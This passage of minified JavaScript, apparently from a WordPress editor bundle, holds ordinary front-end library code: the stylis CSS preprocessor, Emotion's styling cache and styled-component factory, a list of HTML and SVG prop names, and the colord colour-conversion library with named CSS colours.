r="",n=ye(e),o=0;o<n;o++)r+=t(e[o],o,e,t)||"";return r}function We(e,t,r,n){switch(e.type){case"@layer":if(e.children.length)break;case"@import":case Ye:return e.return=e.return||e.value;case ze:return"";case He:return e.return=e.value+"{"+Ve(e.children,n)+"}";case je:e.value=e.props.join(",")}return pe(r=Ve(e.children,n))?e.return=e.value+"{"+r+"}":""}function qe(e){return ke(Ge("",null,null,null,[""],e=Ie(e),0,[0],e))}function Ge(e,t,r,n,o,a,i,s,c){for(var l=0,u=0,d=i,m=0,p=0,y=0,f=1,_=1,h=1,g=0,b="",E=o,v=a,w=n,S=b;_;)switch(y=g,g=Re()){case 40:if(108!=y&&58==de(S,d-1)){-1!=ue(S+=le(xe(g),"&","&\f"),"&\f")&&(h=-1);break}case 34:case 39:case 91:S+=xe(g);break;case 9:case 10:case 13:case 32:S+=De(y);break;case 92:S+=Pe(Ce()-1,7);continue;case 47:switch(Oe()){case 42:case 47:fe(Ze(Fe(Re(),Ce()),t,r),c);break;default:S+="/"}break;case 123*f:s[l++]=pe(S)*h;case 125*f:case 59:case 0:switch(g){case 0:case 125:_=0;case 59+u:-1==h&&(S=le(S,/\f/g,"")),p>0&&pe(S)-d&&fe(p>32?Ke(S+";",n,r,d-1):Ke(le(S," ","")+";",n,r,d-2),c);break;case 59:S+=";";default:if(fe(w=Qe(S,t,r,l,u,o,s,b,E=[],v=[],d),a),123===g)if(0===u)Ge(S,t,w,w,E,a,d,s,v);else switch(99===m&&110===de(S,3)?100:m){case 100:case 108:case 109:case 115:Ge(e,w,w,n&&fe(Qe(e,w,w,0,0,o,s,b,o,E=[],d),v),o,v,d,s,n?E:v);break;default:Ge(S,w,w,w,[""],v,0,s,v)}}l=u=p=0,f=h=1,b=S="",d=i;break;case 58:d=1+pe(S),p=y;default:if(f<1)if(123==g)--f;else if(125==g&&0==f++&&125==Te())continue;switch(S+=ie(g),g*f){case 38:h=u>0?1:(S+="\f",-1);break;case 44:s[l++]=(pe(S)-1)*h,h=1;break;case 64:45===Oe()&&(S+=xe(Re())),m=Oe(),u=d=pe(b=S+=Le(Ce())),g++;break;case 45:45===y&&2==pe(S)&&(f=0)}}return a}function Qe(e,t,r,n,o,a,i,s,c,l,u){for(var d=o-1,m=0===o?a:[""],p=ye(m),y=0,f=0,_=0;y<n;++y)for(var h=0,g=me(e,d+1,d=ae(f=i[y])),b=e;h<p;++h)(b=ce(f>0?m[h]+" "+g:le(g,/&\f/g,m[h])))&&(c[_++]=b);return we(e,t,r,0===o?je:s,c,l,u)}function Ze(e,t,r){return we(e,t,r,ze,ie(Ee),me(e,2,-2),0)}function Ke(e,t,r,n){return we(e,t,r,Ye,me(e,0,n),me(e,n+1,-1),n)}var Xe=function(e,t,r){for(var n=0,o=0;n=o,o=Oe(),38===n&&12===o&&(t[r]=1),!Ne(o);)Re();return Ae(e,be)},Je=new WeakMap,et=function(e){if("rule"===e.type&&e.parent&&!(e.length<1)){for(var t=e.value,r=e.parent,n=e.column===r.column&&e.line===r.line;"rule"!==r.type;)if(!(r=r.parent))return;if((1!==e.props.length||58===t.charCodeAt(0)||Je.get(r))&&!n){Je.set(e,!0);for(var o=[],a=function(e,t){return ke(function(e,t){var r=-1,n=44;do{switch(Ne(n)){case 0:38===n&&12===Oe()&&(t[r]=1),e[r]+=Xe(be-1,t,r);break;case 2:e[r]+=xe(n);break;case 4:if(44===n){e[++r]=58===Oe()?"&\f":"",t[r]=e[r].length;break}default:e[r]+=ie(n)}}while(n=Re());return e}(Ie(e),t))}(t,o),i=r.props,s=0,c=0;s<a.length;s++)for(var l=0;l<i.length;l++,c++)e.props[c]=o[s]?a[s].replace(/&\f/g,i[l]):i[l]+" "+a[s]}}},tt=function(e){if("decl"===e.type){var t=e.value;108===t.charCodeAt(0)&&98===t.charCodeAt(2)&&(e.return="",e.value="")}};function rt(e,t){switch(function(e,t){return 45^de(e,0)?(((t<<2^de(e,0))<<2^de(e,1))<<2^de(e,2))<<2^de(e,3):0}(e,t)){case 5103:return $e+"print-"+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return $e+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return $e+e+Be+e+Ue+e+e;case 6828:case 4268:return $e+e+Ue+e+e;case 6165:return $e+e+Ue+"flex-"+e+e;case 5187:return $e+e+le(e,/(\w+).+(:[^]+)/,$e+"box-$1$2"+Ue+"flex-$1$2")+e;case 5443:return $e+e+Ue+"flex-item-"+le(e,/flex-|-self/,"")+e;case 4675:return $e+e+Ue+"flex-line-pack"+le(e,/align-content|flex-|-self/,"")+e;case 5548:return $e+e+Ue+le(e,"shrink","negative")+e;case 5292:return $e+e+Ue+le(e,"basis","preferred-size")+e;case 6060:return $e+"box-"+le(e,"-grow","")+$e+e+Ue+le(e,"grow","positive")+e;case 4554:return $e+le(e,/([^-])(transform)/g,"$1"+$e+"$2")+e;case 6187:return le(le(le(e,/(zoom-|grab)/,$e+"$1"),/(image-set)/,$e+"$1"),e,"")+e;case 5495:case 3959:return le(e,/(image-set\([^]*)/,$e+"$1$`$1");case 4968:return le(le(e,/(.+:)(flex-)?(.*)/,$e+"box-pack:$3"+Ue+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+$e+e+e;case 4095:case 3583:case 4068:case 2532:return le(e,/(.+)-inline(.+)/,$e+"$1$2")+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(pe(e)-1-t>6)switch(de(e,t+1)){case 109:if(45!==de(e,t+4))break;case 102:return le(e,/(.+:)(.+)-([^]+)/,"$1"+$e+"$2-$3$1"+Be+(108==de(e,t+3)?"$3":"$2-$3"))+e;case 115:return~ue(e,"stretch")?rt(le(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(115!==de(e,t+1))break;case 6444:switch(de(e,pe(e)-3-(~ue(e,"!important")&&10))){case 107:return le(e,":",":"+$e)+e;case 101:return le(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+$e+(45===de(e,14)?"inline-":"")+"box$3$1"+$e+"$2$3$1"+Ue+"$2box$3")+e}break;case 5936:switch(de(e,t+11)){case 114:return $e+e+Ue+le(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return $e+e+Ue+le(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return $e+e+Ue+le(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return $e+e+Ue+e+e}return e}var nt=[function(e,t,r,n){if(e.length>-1&&!e.return)switch(e.type){case Ye:e.return=rt(e.value,e.length);break;case He:return Ve([Se(e,{value:le(e.value,"@","@"+$e)})],n);case je:if(e.length)return function(e,t){return e.map(t).join("")}(e.props,(function(t){switch(function(e,t){return(e=/(::plac\w+|:read-\w+)/.exec(e))?e[0]:e}(t)){case":read-only":case":read-write":return Ve([Se(e,{props:[le(t,/:(read-\w+)/,":-moz-$1")]})],n);case"::placeholder":return Ve([Se(e,{props:[le(t,/:(plac\w+)/,":"+$e+"input-$1")]}),Se(e,{props:[le(t,/:(plac\w+)/,":-moz-$1")]}),Se(e,{props:[le(t,/:(plac\w+)/,Ue+"input-$1")]})],n)}return""}))}}],ot=function(e){var t=e.key;if("css"===t){var r=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(r,(function(e){-1!==e.getAttribute("data-emotion").indexOf(" ")&&(document.head.appendChild(e),e.setAttribute("data-s",""))}))}var n,o,a=e.stylisPlugins||nt,i={},s=[];n=e.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+t+' "]'),(function(e){for(var t=e.getAttribute("data-emotion").split(" "),r=1;r<t.length;r++)i[t[r]]=!0;s.push(e)}));var c,l,u,d,m=[We,(d=function(e){c.insert(e)},function(e){e.root||(e=e.return)&&d(e)})],p=(l=[et,tt].concat(a,m),u=ye(l),function(e,t,r,n){for(var o="",a=0;a<u;a++)o+=l[a](e,t,r,n)||"";return o});o=function(e,t,r,n){c=r,Ve(qe(e?e+"{"+t.styles+"}":t.styles),p),n&&(y.inserted[t.name]=!0)};var y={key:t,sheet:new oe({key:t,container:n,nonce:e.nonce,speedy:e.speedy,prepend:e.prepend,insertionPoint:e.insertionPoint}),nonce:e.nonce,inserted:i,registered:{},insert:o};return y.sheet.hydrate(s),y};function at(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return ne(t)}r(8679);const it=window.lodash;window.wp.warning;var st=r(4155);const ct=(0,L.createContext)({}),lt=()=>(0,L.useContext)(ct);function ut(e){let{value:t}=e;const r=lt(),n=(0,L.useRef)(t);return function(e,r){const o=(0,L.useRef)(!1);(0,L.useEffect)((()=>{o.current?(0,it.isEqual)(n.current,t)&&n.current!==t&&void 0!==st&&st.env:o.current=!0}),r)}(0,[t]),(0,L.useMemo)((()=>(0,it.merge)((0,it.cloneDeep)(r),t)),[r,t])}const dt=(0,L.memo)((e=>{let{children:t,value:r}=e;const n=ut({value:r});return(0,L.createElement)(ct.Provider,{value:n},t)})),mt="data-wp-component",pt="data-wp-c16t",yt="__contextSystemKey__";var ft=r(9588),_t=r.n(ft);const ht=_t()((function(e){return`components-${(0,it.kebabCase)(e)}`}));var gt=r(4155);function bt(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{memo:n=!1}=r;let o=(0,L.forwardRef)(e);n&&(o=(0,L.memo)(o)),void 0===t&&void 0!==gt&&gt.env;let a=o[yt]||[t];return Array.isArray(t)&&(a=[...a,...t]),"string"==typeof t&&(a=[...a,t]),o.displayName=t,o[yt]=(0,it.uniq)(a),o.selector=`.${ht(t)}`,o}var Et=/^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|download|draggable|encType|enterKeyHint|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/,vt=q((function(e){return Et.test(e)||111===e.charCodeAt(0)&&110===e.charCodeAt(1)&&e.charCodeAt(2)<91})),wt=U.createContext("undefined"!=typeof HTMLElement?ot({key:"css"}):null),St=wt.Provider,Tt=U.createContext({}),Rt=function(e,t,r){var n=e.key+"-"+t.name;!1===r&&void 0===e.registered[n]&&(e.registered[n]=t.styles)},Ot=vt,Ct=function(e){return"theme"!==e},At=function(e){return"string"==typeof e&&e.charCodeAt(0)>96?Ot:Ct},Nt=function(e,t,r){var n;if(t){var o=t.shouldForwardProp;n=e.__emotion_forwardProp&&o?function(t){return e.__emotion_forwardProp(t)&&o(t)}:o}return"function"!=typeof n&&r&&(n=e.__emotion_forwardProp),n},It=function(e){var t=e.cache,r=e.serialized,n=e.isStringTag;return Rt(t,r,n),V((function(){return function(e,t,r){Rt(e,t,r);var n=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(t,r,n)})),null},kt=function e(t,r){var n,o,a=t.__emotion_real===t,i=a&&t.__emotion_base||t;void 0!==r&&(n=r.label,o=r.target);var s=Nt(t,r,a),c=s||At(i),l=!c("as");return function(){var u=arguments,d=a&&void 0!==t.__emotion_styles?t.__emotion_styles.slice(0):[];if(void 0!==n&&d.push("label:"+n+";"),null==u[0]||void 0===u[0].raw)d.push.apply(d,u);else{d.push(u[0][0]);for(var m=u.length,p=1;p<m;p++)d.push(u[p],u[0][p])}var y,f=(y=function(e,t,r){var n,a,u,m,p=l&&e.as||i,y="",f=[],_=e;if(null==e.theme){for(var h in _={},e)_[h]=e[h];_.theme=U.useContext(Tt)}"string"==typeof e.className?(n=t.registered,a=f,u=e.className,m="",u.split(" ").forEach((function(e){void 0!==n[e]?a.push(n[e]+";"):m+=e+" "})),y=m):null!=e.className&&(y=e.className+" ");var g=ne(d.concat(f),t.registered,_);y+=t.key+"-"+g.name,void 0!==o&&(y+=" "+o);var b=l&&void 0===s?At(p):c,E={};for(var v in e)l&&"as"===v||b(v)&&(E[v]=e[v]);return E.className=y,E.ref=r,U.createElement(U.Fragment,null,U.createElement(It,{cache:t,serialized:g,isStringTag:"string"==typeof p}),U.createElement(p,E))},(0,U.forwardRef)((function(e,t){var r=(0,U.useContext)(wt);return y(e,r,t)})));return f.displayName=void 0!==n?n:"Styled("+("string"==typeof i?i:i.displayName||i.name||"Component")+")",f.defaultProps=t.defaultProps,f.__emotion_real=f,f.__emotion_base=i,f.__emotion_styles=d,f.__emotion_forwardProp=s,Object.defineProperty(f,"toString",{value:function(){return"."+o}}),f.withComponent=function(t,n){return e(t,Y({},r,n,{shouldForwardProp:Nt(f,n,!0)})).apply(void 0,d)},f}};const xt=kt("div",{target:"em57xhy0"})("");xt.selector=".components-view",xt.displayName="View";const Dt=xt;function Pt(e,t,r){var n="";return r.split(" ").forEach((function(r){void 0!==e[r]?t.push(e[r]+";"):n+=r+" "})),n}function Mt(e,t){if(void 0===e.inserted[t.name])return e.insert("",t,e.sheet,!0)}function Ft(e,t,r){var n=[],o=Pt(e,n,r);return n.length<2?r:o+t(n)}var Lt=function e(t){for(var r="",n=0;n<t.length;n++){var o=t[n];if(null!=o){var a=void 0;switch(typeof o){case"boolean":break;case"object":if(Array.isArray(o))a=e(o);else for(var i in a="",o)o[i]&&i&&(a&&(a+=" "),a+=i);break;default:a=o}a&&(r&&(r+=" "),r+=a)}}return r},Ut=function(e){var t=ot({key:"css"});t.sheet.speedy=function(e){this.isSpeedy=e},t.compat=!0;var r=function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=ne(r,t.registered,void 0);return function(e,t,r){!function(e,t,r){var n=e.key+"-"+t.name;void 0===e.registered[n]&&(e.registered[n]=t.styles)}(e,t);var n=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(t,o),t.key+"-"+o.name};return{css:r,cx:function(){for(var e=arguments.length,n=new Array(e),o=0;o<e;o++)n[o]=arguments[o];return Ft(t.registered,r,Lt(n))},injectGlobal:function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=ne(r,t.registered);Mt(t,o)},keyframes:function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=ne(r,t.registered),a="animation-"+o.name;return Mt(t,{name:o.name,styles:"@keyframes "+a+"{"+o.styles+"}"}),a},hydrate:function(e){e.forEach((function(e){t.inserted[e]=!0}))},flush:function(){t.registered={},t.inserted={},t.sheet.flush()},sheet:t.sheet,cache:t,getRegisteredStyles:Pt.bind(null,t.registered),merge:Ft.bind(null,t.registered,r)}}(),Bt=(Ut.flush,Ut.hydrate,Ut.cx);Ut.merge,Ut.getRegisteredStyles,Ut.injectGlobal,Ut.keyframes,Ut.css,Ut.sheet,Ut.cache;const $t=()=>{const e=(0,U.useContext)(wt),t=(0,L.useCallback)((function(){if(null===e)throw new Error("The `useCx` hook should be only used within a valid Emotion Cache Context");for(var t=arguments.length,r=new Array(t),n=0;n<t;n++)r[n]=arguments[n];return Bt(...r.map((t=>(e=>null!=e&&["name","styles"].every((t=>void 0!==e[t])))(t)?(function(e,t,r){var n=e.key+"-"+t.name;if(void 0===e.registered[n]&&(e.registered[n]=t.styles),void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(e,t),`${e.key}-${t.name}`):t)))}),[e]);return t};var zt=r(4155);function jt(e,t){const r=lt();void 0===t&&void 0!==zt&&zt.env;const n=(null==r?void 0:r[t])||{},o={[pt]:!0,...(a=t,{[mt]:a})};var a;const{_overrides:i,...s}=n,c=Object.entries(s).length?Object.assign({},s,e):e,l=$t()(ht(t),e.className),u="function"==typeof c.renderChildren?c.renderChildren(c):c.children;for(const e in c)o[e]=c[e];for(const e in i)o[e]=i[e];return o.children=u,o.className=l,o}const Yt={name:"12ip69d",styles:"background:transparent;display:block;margin:0!important;pointer-events:none;position:absolute;will-change:box-shadow"};function Ht(e){var t,r;if(void 0===e)return;if(!e)return"0";const n="number"==typeof e?e:Number(e);return"undefined"!=typeof window&&null!==(t=window.CSS)&&void 0!==t&&null!==(r=t.supports)&&void 0!==r&&r.call(t,"margin",e.toString())||Number.isNaN(n)?e.toString():`calc(4px * ${e})`}var Vt={grad:.9,turn:360,rad:360/(2*Math.PI)},Wt=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},qt=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=Math.pow(10,t)),Math.round(r*e)/r+0},Gt=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=1),e>r?r:e>t?e:t},Qt=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},Zt=function(e){return{r:Gt(e.r,0,255),g:Gt(e.g,0,255),b:Gt(e.b,0,255),a:Gt(e.a)}},Kt=function(e){return{r:qt(e.r),g:qt(e.g),b:qt(e.b),a:qt(e.a,3)}},Xt=/^#([0-9a-f]{3,8})$/i,Jt=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},er=function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=Math.max(t,r,n),i=a-Math.min(t,r,n),s=i?a===t?(r-n)/i:a===r?2+(n-t)/i:4+(t-r)/i:0;return{h:60*(s<0?s+6:s),s:a?i/a*100:0,v:a/255*100,a:o}},tr=function(e){var t=e.h,r=e.s,n=e.v,o=e.a;t=t/360*6,r/=100,n/=100;var a=Math.floor(t),i=n*(1-r),s=n*(1-(t-a)*r),c=n*(1-(1-t+a)*r),l=a%6;return{r:255*[n,s,i,i,c,n][l],g:255*[c,n,n,s,i,i][l],b:255*[i,i,c,n,n,s][l],a:o}},rr=function(e){return{h:Qt(e.h),s:Gt(e.s,0,100),l:Gt(e.l,0,100),a:Gt(e.a)}},nr=function(e){return{h:qt(e.h),s:qt(e.s),l:qt(e.l),a:qt(e.a,3)}},or=function(e){return tr((r=(t=e).s,{h:t.h,s:(r*=((n=t.l)<50?n:100-n)/100)>0?2*r/(n+r)*100:0,v:n+r,a:t.a}));var t,r,n},ar=function(e){return{h:(t=er(e)).h,s:(o=(200-(r=t.s))*(n=t.v)/100)>0&&o<200?r*n/100/(o<=100?o:200-o)*100:0,l:o/2,a:t.a};var t,r,n,o},ir=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,sr=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,cr=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,lr=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,ur={string:[[function(e){var t=Xt.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?qt(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?qt(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=cr.exec(e)||lr.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:Zt({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=ir.exec(e)||sr.exec(e);if(!t)return null;var r,n,o=rr({h:(r=t[1],n=t[2],void 0===n&&(n="deg"),Number(r)*(Vt[n]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return or(o)},"hsl"]],object:[[function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=void 0===o?1:o;return Wt(t)&&Wt(r)&&Wt(n)?Zt({r:Number(t),g:Number(r),b:Number(n),a:Number(a)}):null},"rgb"],[function(e){var t=e.h,r=e.s,n=e.l,o=e.a,a=void 0===o?1:o;if(!Wt(t)||!Wt(r)||!Wt(n))return null;var i=rr({h:Number(t),s:Number(r),l:Number(n),a:Number(a)});return or(i)},"hsl"],[function(e){var t=e.h,r=e.s,n=e.v,o=e.a,a=void 0===o?1:o;if(!Wt(t)||!Wt(r)||!Wt(n))return null;var i=function(e){return{h:Qt(e.h),s:Gt(e.s,0,100),v:Gt(e.v,0,100),a:Gt(e.a)}}({h:Number(t),s:Number(r),v:Number(n),a:Number(a)});return tr(i)},"hsv"]]},dr=function(e,t){for(var r=0;r<t.length;r++){var n=t[r][0](e);if(n)return[n,t[r][1]]}return[null,void 0]},mr=function(e,t){var r=ar(e);return{h:r.h,s:Gt(r.s+100*t,0,100),l:r.l,a:r.a}},pr=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},yr=function(e,t){var r=ar(e);return{h:r.h,s:r.s,l:Gt(r.l+100*t,0,100),a:r.a}},fr=function(){function e(e){this.parsed=function(e){return"string"==typeof e?dr(e.trim(),ur.string):"object"==typeof e&&null!==e?dr(e,ur.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return qt(pr(this.rgba),2)},e.prototype.isDark=function(){return pr(this.rgba)<.5},e.prototype.isLight=function(){return pr(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=Kt(this.rgba)).r,r=e.g,n=e.b,a=(o=e.a)<1?Jt(qt(255*o)):"","#"+Jt(t)+Jt(r)+Jt(n)+a;var e,t,r,n,o,a},e.prototype.toRgb=function(){return Kt(this.rgba)},e.prototype.toRgbString=function(){return t=(e=Kt(this.rgba)).r,r=e.g,n=e.b,(o=e.a)<1?"rgba("+t+", "+r+", "+n+", "+o+")":"rgb("+t+", "+r+", "+n+")";var e,t,r,n,o},e.prototype.toHsl=function(){return nr(ar(this.rgba))},e.prototype.toHslString=function(){return t=(e=nr(ar(this.rgba))).h,r=e.s,n=e.l,(o=e.a)<1?"hsla("+t+", "+r+"%, "+n+"%, "+o+")":"hsl("+t+", "+r+"%, "+n+"%)";var e,t,r,n,o},e.prototype.toHsv=function(){return e=er(this.rgba),{h:qt(e.h),s:qt(e.s),v:qt(e.v),a:qt(e.a,3)};var e},e.prototype.invert=function(){return _r({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),_r(mr(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),_r(mr(this.rgba,-e))},e.prototype.grayscale=function(){return _r(mr(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),_r(yr(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),_r(yr(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?_r({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):qt(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=ar(this.rgba);return"number"==typeof e?_r({h:e,s:t.s,l:t.l,a:t.a}):qt(t.h)},e.prototype.isEqual=function(e){return this.toHex()===_r(e).toHex()},e}(),_r=function(e){return e instanceof fr?e:new fr(e)},hr=[];function gr(){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1;return _r(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").alpha(e).toRgbString()}!function(e){e.forEach((function(e){hr.indexOf(e)<0&&(e(fr,ur),hr.push(e))}))}([function(e,t){var r={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082